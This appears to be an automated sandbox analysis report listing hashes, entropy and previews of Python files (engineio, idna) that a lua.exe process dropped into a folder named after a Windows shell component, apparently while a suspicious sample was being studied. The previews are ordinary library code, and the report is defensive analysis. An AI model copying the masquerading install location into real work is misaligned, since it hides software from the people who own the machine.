Preview:	import sys.from urllib.parse import urlsplit..try: # pragma: no cover. from sanic.response import HTTPResponse. from sanic.websocket import WebSocketProtocol.except ImportError:. HTTPResponse = None. WebSocketProtocol = None.import six...def create_route(app, engineio_server, engineio_endpoint): # pragma: no cover. """This function sets up the engine.io endpoint as a route for the. application... Note that both GET and POST requests must be hooked up on the engine.io. endpoint.. """. app.add_route(engineio_server.handle_request, engineio_endpoint,. methods=['GET', 'POST', 'OPTIONS']). try:. app.enable_websocket(). except AttributeError:. # ignore, this version does not support websocket. pass...def translate_request(request): # pragma: no cover. """This function takes the arguments passed to the request handler and. uses them to generate a WSGI compatible environ dictionary.. """. class AwaitablePa

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\async_drivers\threading.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	339
Entropy (8bit):	4.509980052820375
Encrypted:	false
SSDEEP:	6:1RMABCRR6QIzxukoQSYpLXaUmw39QtgEXQhtpwhB6tSOCfAQA0EO4J1A/UHLCwTi:1RjCNIzLxSYRSw3KtQtWf1A0k/AaLelF
MD5:	344316FDA58BB68C5C20234BF1C2C46D
SHA1:	1EF88A79D9B8F342059ECF824BD7BABC452072B2
SHA-256:	511347AAB615EE84EF1D6604AFBF898EA7C088A756246D92940CBEC2E96E9DC0
SHA-512:	8516A075F88D1090A349CF73A2E94D1B573D72F094C1B632181FFEF40A3AE62F661C08F11A0BE171945C77B799A888E7CB56EBB5331D021A1ADA71087167140E
Malicious:	false
Preview:	from __future__ import absolute_import.import threading.import time..try:. import queue.except ImportError: # pragma: no cover. import Queue as queue.._async = {. 'thread': threading.Thread,. 'queue': queue.Queue,. 'queue_empty': queue.Empty,. 'event': threading.Event,. 'websocket': None,. 'sleep': time.sleep,.}.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\async_drivers\tornado.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5971
Entropy (8bit):	4.564593512144497
Encrypted:	false
SSDEEP:	96:T2pqQHI09KdF7epd2YiQS4JecedeQSe5GXdo92BOWa4INcE3:T2EwXKdFU2Ghwdko50do92BOWcL
MD5:	9EA10B7AAB918DCB93811B6FF928FCBF
SHA1:	B316C806CF94AFB126512C3AE02569B0DA32A3E8
SHA-256:	1EFCA2FBA519E1FD5A007EBB9CAB3E4653DF60127EB4B638E5346E3B1AAD8652
SHA-512:	896F9863086D374488434138FA1B5724A06C1A2CD433246061FDFD32CFE3CFE1956B543894958C74E75282200FA12F7B605F5F0B7D5DC4C26F922F6F7311619F
Malicious:	false
Preview:	import asyncio.import sys.from urllib.parse import urlsplit.from .. import exceptions..import tornado.web.import tornado.websocket.import six...def get_tornado_handler(engineio_server):. class Handler(tornado.websocket.WebSocketHandler): # pragma: no cover. def __init__(self, args, kwargs):. super().__init__(args, *kwargs). if isinstance(engineio_server.cors_allowed_origins,. six.string_types):. if engineio_server.cors_allowed_origins == '':. self.allowed_origins = None. else:. self.allowed_origins = [. engineio_server.cors_allowed_origins]. else:. self.allowed_origins = engineio_server.cors_allowed_origins. self.receive_queue = asyncio.Queue().. async def get(self, args, *kwargs):. if self.request.headers.get('Upgrade', '').lower() == 'websocket':. ret = super()

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\asyncio_client.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	26386
Entropy (8bit):	4.140466289823901
Encrypted:	false
SSDEEP:	192:kg15GCeA7sT2RV+1CYCXM1PGzhUDCC6IwDXGWCSAmkkCSpICE+6U8F2FiJ17Wttg:k657evIv81KF7GoAveIWVvLTvL2StY
MD5:	23E7018505F64891950013C46F50EE2B
SHA1:	2D80608E11A06EE68FBCFECBFC7BE2B184B69999
SHA-256:	E73E441B3CEF3BEFAC24EAF6BD4FBD6612368B5BFE81A078B98FA4F5CE9F866A
SHA-512:	B436CFC2319AEA16DEBD070623FFAC0BBECA23947D49D490AC6E127300BD3506047D16AD82184D221BFA2E0D06E2162CD315436A8510A481CD97A822A359E70E
Malicious:	false
Preview:	import asyncio.import signal.import ssl.import threading..try:. import aiohttp.except ImportError: # pragma: no cover. aiohttp = None.import six..from . import client.from . import exceptions.from . import packet.from . import payload..async_signal_handler_set = False...def async_signal_handler():. """SIGINT handler... Disconnect all active async clients.. """. async def _handler():. for c in client.connected_clients[:]:. if c.is_asyncio_based():. await c.disconnect(). else: # pragma: no cover. pass.. asyncio.ensure_future(_handler())...class AsyncClient(client.Client):. """An Engine.IO client for asyncio... This class implements a fully compliant Engine.IO web client with support. for websocket and long-polling transports, compatible with the asyncio. framework on Python 3.5 or newer... :param logger: To enable logging set to ``True`` or pass a logger object to. use. To disable l

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\asyncio_server.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	21094
Entropy (8bit):	4.069922062547915
Encrypted:	false
SSDEEP:	384:i3hxH8+slQVX5T3RqN5CBj0jXjPlL6wIjt:i378+8QVXzqN5CBj0jXj9LSjt
MD5:	845850C4045D90E51897208E7A6AD480
SHA1:	C2D3A70ED935BDAF32D3C41BE71801E49931BE21
SHA-256:	A5F07659D656F3EA38B29059D073519DD5E6AACCA709C294D6EF9797B3959019
SHA-512:	16CB5B980C11643B0AC024C148887E8BD553692E27578D471C596A9E61228AC499EB4E095FD23B6E30A0B6C640186D61C95C2196F1AD43BD90946BF567002B2F
Malicious:	false
Preview:	import asyncio..import six.from six.moves import urllib..from . import exceptions.from . import packet.from . import server.from . import asyncio_socket...class AsyncServer(server.Server):. """An Engine.IO server for asyncio... This class implements a fully compliant Engine.IO web server with support. for websocket and long-polling transports, compatible with the asyncio. framework on Python 3.5 or newer... :param async_mode: The asynchronous model to use. See the Deployment. section in the documentation for a description of the. available options. Valid async modes are "aiohttp",. "sanic", "tornado" and "asgi". If this argument is not. given, "aiohttp" is tried first, followed by "sanic",. "tornado", and finally "asgi". The first async mode that. has all its dependencies installed is the one that is. chosen.. :param

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\asyncio_socket.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9891
Entropy (8bit):	4.15445726011396
Encrypted:	false
SSDEEP:	96:2G0e+Uw2F9LZSIhsHiOfWt4wv9TK1L7UW9h0w/Ie1DZzAEH09Kc7dYzr7Ke:29vsJKDfe/v1KOWX/1DJATazH9
MD5:	24C2DC37A6215AE39E051D5ECB022D9D
SHA1:	FE1C6A8C1791B65FA377DA15F9C65DE52A9FD07D
SHA-256:	B4F6826E61EF95DB1B0EF232E982EF84C14A36AD190F950DAC2D5291146AA478
SHA-512:	1B75208B752598C25F2FE07F3713598A1D8B7F686D3199F76386B4DFB33CE2788D3EDB7CB795D24C2DAF9604970DDC29CD6D90B42FA55F8EDC6C7FAE725909C2
Malicious:	false
Preview:	import asyncio.import six.import sys.import time..from . import exceptions.from . import packet.from . import payload.from . import socket...class AsyncSocket(socket.Socket):. async def poll(self):. """Wait for packets to send to the client.""". try:. packets = [await asyncio.wait_for(self.queue.get(),. self.server.ping_timeout)]. self.queue.task_done(). except (asyncio.TimeoutError, asyncio.CancelledError):. raise exceptions.QueueEmpty(). if packets == [None]:. return []. while True:. try:. pkt = self.queue.get_nowait(). self.queue.task_done(). if pkt is None:. self.queue.put_nowait(None). break. packets.append(pkt). except asyncio.QueueEmpty:. break. return packets.. async def receive(self, pkt):. """Receive p

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\client.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	27810
Entropy (8bit):	4.212794614000847
Encrypted:	false
SSDEEP:	384:+LIlWtW4oTKZOYpMAmPHhcLhaZUaZr8HY:iIMtW4oT8OYpBmPEhaZUaZr8HY
MD5:	7492DACA4EC8856BB6CD4BAD08232A96
SHA1:	7971DA631634AE45A239E151D106A16C5CD307CD
SHA-256:	EB4F93A10FB15B9801DCF7AC6EC59628960B77C3AF115BEE6712F321DF831ADC
SHA-512:	E7B0734E4798161E89CCC30E81F3A4252EC6BBA7683B16469F4F0366C8B5CF04A1ACD9CF374ABCF1D259AF951D6618393494722F3147DCCDA91F7E6F4C7A5975
Malicious:	false
Preview:	import logging.try:. import queue.except ImportError: # pragma: no cover. import Queue as queue.import signal.import ssl.import threading.import time..import six.from six.moves import urllib.try:. import requests.except ImportError: # pragma: no cover. requests = None.try:. import websocket.except ImportError: # pragma: no cover. websocket = None.from . import exceptions.from . import packet.from . import payload..default_logger = logging.getLogger('engineio.client').connected_clients = []..if six.PY2: # pragma: no cover. ConnectionError = OSError...def signal_handler(sig, frame):. """SIGINT handler... Disconnect all active clients and then invoke the original signal handler.. """. for client in connected_clients[:]:. if not client.is_asyncio_based():. client.disconnect(). if callable(original_signal_handler):. return original_signal_handler(sig, frame). else: # pragma: no cover. # Handle case where no original

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\exceptions.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	292
Entropy (8bit):	4.391468906192719
Encrypted:	false
SSDEEP:	6:yjxcNyDqxMPLIDheOYPLIDyZ63D00JpPLID0dPL2:sxcV+UxUz6HXpK
MD5:	69369CA0C5751694417E56671D4DE00E
SHA1:	7F780660603BA16AFFF9A1A2B47DD1C1BA148211
SHA-256:	172B8C6F9AA15FD09460FDDF1287B59BE7DA53DE80A5D41349B6E569AA28F0B0
SHA-512:	248CB11AB07456EE885EA8FEF285A6E291817471674911222DFFD90F65A63D539100FF26602F7022DC8C970EC507C51B575377FD0D4447A691AB04E836D52D21
Malicious:	false
Preview:	class EngineIOError(Exception):. pass...class ContentTooLongError(EngineIOError):. pass...class UnknownPacketError(EngineIOError):. pass...class QueueEmpty(EngineIOError):. pass...class SocketIsClosedError(EngineIOError):. pass...class ConnectionError(EngineIOError):. pass.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\middleware.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3788
Entropy (8bit):	4.321147368002697
Encrypted:	false
SSDEEP:	96:BJxAv6v/nVeVBxV2mIiifD+lGqn0hcGQXU8K9eYV:BJo6lMRg7ygPhcGQX/KVV
MD5:	BFBF6E4837D841FCFAEECC51F9B2CFC7
SHA1:	AA13E5750665E8F67456DBC5931525E65DEA52CD
SHA-256:	9FC190324BDAE049A0041D41726E96FAC81883D00390653F5AB7DDD37752D6A2
SHA-512:	41808DA4D26417F08CA29B67E0D9436EB553A8E46A0AC178A37B59B9D68F69393BD2CD97B0CCC29215B712C53B8D2EA2F94EB5395FEF2A9F3A40F3AAAE2BE49C
Malicious:	false
Preview:	import os.from engineio.static_files import get_static_file...class WSGIApp(object):. """WSGI application middleware for Engine.IO... This middleware dispatches traffic to an Engine.IO application. It can. also serve a list of static files to the client, or forward unrelated. HTTP traffic to another WSGI application... :param engineio_app: The Engine.IO server. Must be an instance of the. ``engineio.Server`` class.. :param wsgi_app: The WSGI app that receives all other traffic.. :param static_files: A dictionary with static file mapping rules. See the. documentation for details on this argument.. :param engineio_path: The endpoint where the Engine.IO application should. be installed. The default value is appropriate for. most cases... Example usage::.. import engineio. import eventlet.. eio = engineio.Server(). app = engineio.WSGIApp(e

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\packet.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3506
Entropy (8bit):	4.299056107558707
Encrypted:	false
SSDEEP:	96:CoIbxsW7QVfVEY8f0e0csvmO/VzsBWeoahW:C8of0e0csOO/VzsBWzahW
MD5:	DF9C01B566335705ED678BA3CF55AAA8
SHA1:	4C1C44ADFBDDE197F197509CEB3F45F9DEBF090E
SHA-256:	DBFBD71CFED86D8DD73FC3A2CE50034912E6C29A0C25F42259F7C2FCD73E822B
SHA-512:	D19942E5191F776F43147DFD9186A89A6D4048C6AB9EBB36AAA70B66C35A7B0CB3C78B95622E1D9A23BCB450944115CF238BBB4A2C4974665EA408DA096981CD
Malicious:	false
Preview:	import base64.import json as _json..import six..(OPEN, CLOSE, PING, PONG, MESSAGE, UPGRADE, NOOP) = (0, 1, 2, 3, 4, 5, 6).packet_names = ['OPEN', 'CLOSE', 'PING', 'PONG', 'MESSAGE', 'UPGRADE', 'NOOP']..binary_types = (six.binary_type, bytearray)...class Packet(object):. """Engine.IO packet.""".. json = _json.. def __init__(self, packet_type=NOOP, data=None, binary=None,. encoded_packet=None):. self.packet_type = packet_type. self.data = data. if binary is not None:. self.binary = binary. elif isinstance(data, six.text_type):. self.binary = False. elif isinstance(data, binary_types):. self.binary = True. else:. self.binary = False. if encoded_packet:. self.decode(encoded_packet).. def encode(self, b64=False, always_bytes=True):. """Encode the packet for transmission.""". if self.binary and not b64:. encoded_packet = six.int2byte(sel

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\payload.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3106
Entropy (8bit):	4.086473676112849
Encrypted:	false
SSDEEP:	48:0S7jBU0wYvbLM9LantvviEE3e1dwoFFy4dpW63uy7/0Gep/06C:B7jBU0XLM9LOw33adwYFdDeDGFH
MD5:	5B79F836799D839C9F8D625AF56230A1
SHA1:	AF54E9B56C39FDDE3C01827ECF58A5DAA3059BBC
SHA-256:	D7661B4D09345C7E6954FFBD59C742574D3C0A0462DCF5DCDEF0817E9C0DBB15
SHA-512:	0AEFE64020D4846177B0982DA6377F03CBDA34F7A90CD94298451623B0E91015DA21200719591BFD57CB2500456A9DEE90F39479ECE06EA072CB0026D4DDE83A
Malicious:	false
Preview:	import six..from . import packet..from six.moves import urllib...class Payload(object):. """Engine.IO payload.""". max_decode_packets = 16.. def __init__(self, packets=None, encoded_payload=None):. self.packets = packets or []. if encoded_payload is not None:. self.decode(encoded_payload).. def encode(self, b64=False, jsonp_index=None):. """Encode the payload for transmission.""". encoded_payload = b''. for pkt in self.packets:. encoded_packet = pkt.encode(b64=b64). packet_len = len(encoded_packet). if b64:. encoded_payload += str(packet_len).encode('utf-8') + b':' + \. encoded_packet. else:. binary_len = b''. while packet_len != 0:. binary_len = six.int2byte(packet_len % 10) + binary_len. packet_len = int(packet_len / 10). if not pkt.binary:. encoded_

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\server.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	29420
Entropy (8bit):	4.257544623871468
Encrypted:	false
SSDEEP:	768:fx8P9dLKAdqN5o9jIjljHOLn3jzCljbADi:fx8P9dLQN5o9jIjljHODjzSjbA2
MD5:	1D1314E7EAD94D60780DADE02DBB45CC
SHA1:	6DB8BA4091A4BFD2FED34AA30E02330F9A178C86
SHA-256:	B2C9BBAE8B1793F2DDB5B65E101AA9A0025C98F2B18E58BE6D26DA3CCB1E0FA9
SHA-512:	E82EFD22D0B1E31FAB5EC9835118DB8D0CCE88DDE51D658390787209E317217ADCE4ECC6585A0015A05105DC33FB0CD51AC254B773AA48A46136F8287D1D5958
Malicious:	false
Preview:	import gzip.import importlib.import logging.import uuid.import zlib..import six.from six.moves import urllib..from . import exceptions.from . import packet.from . import payload.from . import socket..default_logger = logging.getLogger('engineio.server')...class Server(object):. """An Engine.IO server... This class implements a fully compliant Engine.IO web server with support. for websocket and long-polling transports... :param async_mode: The asynchronous model to use. See the Deployment. section in the documentation for a description of the. available options. Valid async modes are "threading",. "eventlet", "gevent" and "gevent_uwsgi". If this. argument is not given, "eventlet" is tried first, then. "gevent_uwsgi", then "gevent", and finally "threading".. The first async mode that has all its dependencies. installed is t

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\socket.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9933
Entropy (8bit):	4.1651908018609785
Encrypted:	false
SSDEEP:	96:TGsQ0gSK4ewsJJ2HFZfSIhsHiOTW74wziM9TK1J7Ue9h0w7miXe1D6KbdvMAUHmx:TpL02j8DTo/zd1Kcermn1D6KKANWm
MD5:	994B86C1729885B5912726729AB9302B
SHA1:	829C14705BBC86CFD54D8040096CAE8D21B12160
SHA-256:	45153A9DDB3CA85F5C3BA07161A77F58A198541317965CAA1B3D4882C1E5700D
SHA-512:	FEEB300EC2CCE3AEB61B012E20832EAE9E4E97AB7F9A731B70A0F36995DD8027A5B4D76013A10C70689CFB0F10DE9FE8F526C685A4ED7827924D37E194CE77D2
Malicious:	false
Preview:	import six.import sys.import time..from . import exceptions.from . import packet.from . import payload...class Socket(object):. """An Engine.IO socket.""". upgrade_protocols = ['websocket'].. def __init__(self, server, sid):. self.server = server. self.sid = sid. self.queue = self.server.create_queue(). self.last_ping = time.time(). self.connected = False. self.upgrading = False. self.upgraded = False. self.closing = False. self.closed = False. self.session = {}.. def poll(self):. """Wait for packets to send to the client.""". queue_empty = self.server.get_queue_empty_exception(). try:. packets = [self.queue.get(timeout=self.server.ping_timeout)]. self.queue.task_done(). except queue_empty:. raise exceptions.QueueEmpty(). if packets == [None]:. return []. while True:. try:. pkt = self.queue.get(

C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\static_files.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1851
Entropy (8bit):	4.138303328470251
Encrypted:	false
SSDEEP:	48:oGkNjTgb7XjGtiHzDkZeNRkuoZGf0VXACWVy:oOXjG4T0ZJVXnyy
MD5:	03F1EF90F02BE69A1143ED449DFEB333
SHA1:	4808FD580055FECE22A2752B8CC5765B1E7A5B83
SHA-256:	2C3860261B23271B0C49D3846499AEFECABBB7D81E624E228F95BF5F0449A400
SHA-512:	C4F15F6FD30C9AFD6DED5D93EC1690EE7DCA7634B5F782AA750EB0DD977B68839E22DC3A5441CB8CAD45E6D8CE1E7AB7A40172811187EE4B2A5264DFE353AB08
Malicious:	false
Preview:	content_types = {. 'css': 'text/css',. 'gif': 'image/gif',. 'html': 'text/html',. 'jpg': 'image/jpeg',. 'js': 'application/javascript',. 'json': 'application/json',. 'png': 'image/png',. 'txt': 'text/plain',.}...def get_static_file(path, static_files):. """Return the local filename and content type for the requested static. file URL... :param path: the path portion of the requested URL.. :param static_files: a static file configuration dictionary... This function returns a dictionary with two keys, "filename" and. "content_type". If the requested URL does not match any static file, the. return value is None.. """. if path in static_files:. f = static_files[path]. else:. f = None. rest = ''. while path != '':. path, last = path.rsplit('/', 1). rest = '/' + last + rest. if path in static_files:. f = static_files[path] + rest. break. e

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna-2.10.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna-2.10.dist-info\LICENSE.rst Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1565
Entropy (8bit):	5.106624399698215
Encrypted:	false
SSDEEP:	48:ZMOorYJYirYJd9dad432sGa3tErmf3toTRv:ZVorYJYirYJd6K313t7uTJ
MD5:	CF36C8682CC154D2D4AA57BD6246B9A1
SHA1:	213659E517DCB5A6963A0B7869CB1BE625FCA442
SHA-256:	412014420D2473DBA06117C3D4D9E0EECAA6DDE0CA30CD951F4EC2BE39426F32
SHA-512:	180DFF753D79BDC31A88275CCA4E2941AB58409CBE2E27B59ECAB85A72263A1E1C077B79360D5A85316B138798783CF3AEA500C3F045BF034EA1D5E4BB87FC27
Malicious:	false
Preview:	License.-------..License: bsd-3-clause..Copyright (c) 2013-2020, Kim Davies. All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:..#. Redistributions of source code must retain the above copyright. notice, this list of conditions and the following disclaimer...#. Redistributions in binary form must reproduce the above. copyright notice, this list of conditions and the following. disclaimer in the documentation and/or other materials provided with. the distribution...#. Neither the name of the copyright holder nor the names of the . contributors may be used to endorse or promote products derived . from this software without specific prior written permission...#. THIS SOFTWARE IS PROVIDED BY THE CONTRIBUTORS "AS IS" AND ANY. EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE. IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR. PU

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna-2.10.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	UTF-8 Unicode text
Category:	dropped
Size (bytes):	9104
Entropy (8bit):	5.217430851150806
Encrypted:	false
SSDEEP:	192:AzX0ZCbsauJGCX3KQgYiVIXqCcFA7GDK0sk3Z16gMwIr7:A7nsa0G83XiVIbcC7GDps+16gMj3
MD5:	51DA414B478154A813A45661F368B771
SHA1:	BE0C42B22C62C6BA6F8DCA6BCDF591767224F979
SHA-256:	65609A4030637664AFC79114EC2BFA3910BEF4D510EA75E1D5E5F1DFCC927B8D
SHA-512:	6F966C5E483D2A362D8D357926D26700E6229735DE041F54F2FFE9A09BB6993FF824159EE7FEDAC335A4EDCFC90EF3212A3A82735702CE556B301585E9CBFBC5
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: idna.Version: 2.10.Summary: Internationalized Domain Names in Applications (IDNA).Home-page: https://github.com/kjd/idna.Author: Kim Davies.Author-email: kim@cynosure.com.au.License: BSD-like.Platform: UNKNOWN.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Intended Audience :: System Administrators.Classifier: License :: OSI Approved :: BSD License.Classifier: Operating System :: OS Independent.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.7.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.4.Classifier: Programming Language :: Python :: 3.5.Classifier: Programming Language :: Python :: 3.6.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: Implementation :: CPytho

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna-2.10.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1396
Entropy (8bit):	5.799913926559083
Encrypted:	false
SSDEEP:	24:pn/2zDIvRw0YV+L18flW6MQ/wZdlIqAMySAxRyBrSJU+vTM8rpo8/mlXi:pnuXI5wxV+pilWZQYI+cUK4kpX/V
MD5:	93E3010E4D5BEB73F61DE2CE48EE2DB9
SHA1:	159C6178DB2E5803913D6D5702A15885FB618B86
SHA-256:	3D2EBC6596664BACAFC20F294D701FB501EABAC2548E630A422EF9B4518896D4
SHA-512:	FFE2D9A4407F52C1FD278601D59EBDACBBAC348F00963644F7ADD5D03B7C34D4059BF74E4C489476C6218AC1C6C17EE3C9E479E3CD5665BA73E9E474486C4356
Malicious:	false
Preview:	idna-2.10.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..idna-2.10.dist-info/LICENSE.rst,sha256=QSAUQg0kc9ugYRfD1Nng7sqm3eDKMM2VH07CvjlCbzI,1565..idna-2.10.dist-info/METADATA,sha256=ZWCaQDBjdmSvx5EU7Cv6ORC-9NUQ6nXh1eXx38ySe40,9104..idna-2.10.dist-info/RECORD,,..idna-2.10.dist-info/WHEEL,sha256=8zNYZbwQSXoB9IfXOjPfeNwvAsALAjffgk27FqvCWbo,110..idna-2.10.dist-info/top_level.txt,sha256=jSag9sEDqvSPftxOQy-ABfGV_RSy7oFh4zZJpODV8k0,5..idna/__init__.py,sha256=9Nt7xpyet3DmOrPUGooDdAwmHZZu1qUAy2EaJ93kGiQ,58..idna/__pycache__/__init__.cpython-37.pyc,,..idna/__pycache__/codec.cpython-37.pyc,,..idna/__pycache__/compat.cpython-37.pyc,,..idna/__pycache__/core.cpython-37.pyc,,..idna/__pycache__/idnadata.cpython-37.pyc,,..idna/__pycache__/intranges.cpython-37.pyc,,..idna/__pycache__/package_data.cpython-37.pyc,,..idna/__pycache__/uts46data.cpython-37.pyc,,..idna/codec.py,sha256=lvYb7yu7PhAqFaAIAdWcwgaWI2UmgseUua-1c0AsG0A,3299..idna/compat.py,sha256=R-h29D-6mrnJzbXxymrWUW7iZUv

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna-2.10.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.810105929829005
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVin3hP+tPCCf7irO5S:RtBMwlVi3hWBBwt
MD5:	E810E49A07579615336DFE1362445C07
SHA1:	7C415D7E52F9507D6414824277CFAE91AB5006E7
SHA-256:	F3335865BC10497A01F487D73A33DF78DC2F02C00B0237DF824DBB16ABC259BA
SHA-512:	3422782BB6F30F4CFFC8BA0648F4A18B2A942A602D7F2676C04402B1549B34E50C1F5F5CD12FC495D08A9C0DB82FB78503CA075BC2479F9519960A0F044B1F09
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.33.6).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna-2.10.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Aa:Aa
MD5:	1929D9F7C81F25C32830EBFE29FEC2B2
SHA1:	CF120440E59032DA490AA8FDC118B6F764FE495D
SHA-256:	8D26A0F6C103AAF48F7EDC4E432F8005F195FD14B2EE8161E33649A4E0D5F24D
SHA-512:	A3833D513EE4DDDEE80692BBA4D389B4E9E39029F7156DE4D58207899C7F625CCAFE67C8B4690895D3B16AACCA6C00AEEBB63A04C7DFF408FA5F71BF3B404685
Malicious:	false
Preview:	idna.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.113868658988408
Encrypted:	false
SSDEEP:	3:1LVXMi72MDXTxGzbQln:1LVX17/TxcQln
MD5:	8ACFF87EAD0244330C22125C16FCAADB
SHA1:	12DC726D536AC216BA05BB7EB8A014A5609A0DA0
SHA-256:	F4DB7BC69C9EB770E63AB3D41A8A03740C261D966ED6A500CB611A27DDE41A24
SHA-512:	A55B5EB3035D230CB7CC89BD0B7EFFAD84EB48C360EEFBB20993347B28CF3B1D75480D65A937392820AAB4081B0DB07C69B47A893CBEEF52C031F417E706939C
Malicious:	false
Preview:	from .package_data import __version__.from .core import *.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna\codec.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3299
Entropy (8bit):	4.242897540845655
Encrypted:	false
SSDEEP:	96:zBc80c8yYUVJXGzCfiGf4WZlHGzvfiOUycj4:zBEiYUvu5k3RuCdycj4
MD5:	A36C9A662F4DD0E6D8D4A48DBE68ADE5
SHA1:	A781C8B744B9FC5EAB020EDC44F3C93556F972A3
SHA-256:	96F61BEF2BBB3E102A15A00801D59CC2069623652682C794B9AFB573402C1B40
SHA-512:	21FB37491028C79683F2B04FD09FB7AB8E1FD169E548BE53120B010B4B33F0421978C909D0CDCF4F13E641027BF7248A510763C67566A1F0A61E94AB70316A0E
Malicious:	false
Preview:	from .core import encode, decode, alabel, ulabel, IDNAError.import codecs.import re.._unicode_dots_re = re.compile(u'[\u002e\u3002\uff0e\uff61]')..class Codec(codecs.Codec):.. def encode(self, data, errors='strict'):.. if errors != 'strict':. raise IDNAError("Unsupported error handling \"{0}\"".format(errors)).. if not data:. return "", 0.. return encode(data), len(data).. def decode(self, data, errors='strict'):.. if errors != 'strict':. raise IDNAError("Unsupported error handling \"{0}\"".format(errors)).. if not data:. return u"", 0.. return decode(data), len(data)..class IncrementalEncoder(codecs.BufferedIncrementalEncoder):. def _buffer_encode(self, data, errors, final):. if errors != 'strict':. raise IDNAError("Unsupported error handling \"{0}\"".format(errors)).. if not data:. return ("", 0).. labels = _unicode_dots_re.split(data). trai

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna\compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	232
Entropy (8bit):	4.546556797963972
Encrypted:	false
SSDEEP:	6:1LcQlBKl8bN0tyrZ9v+jLqBvtyA0v+92QyneAJFHkwIDA:1hKGFo1M2fnbHIDA
MD5:	2F0D04609DA1142C3A3F74C336EA5744
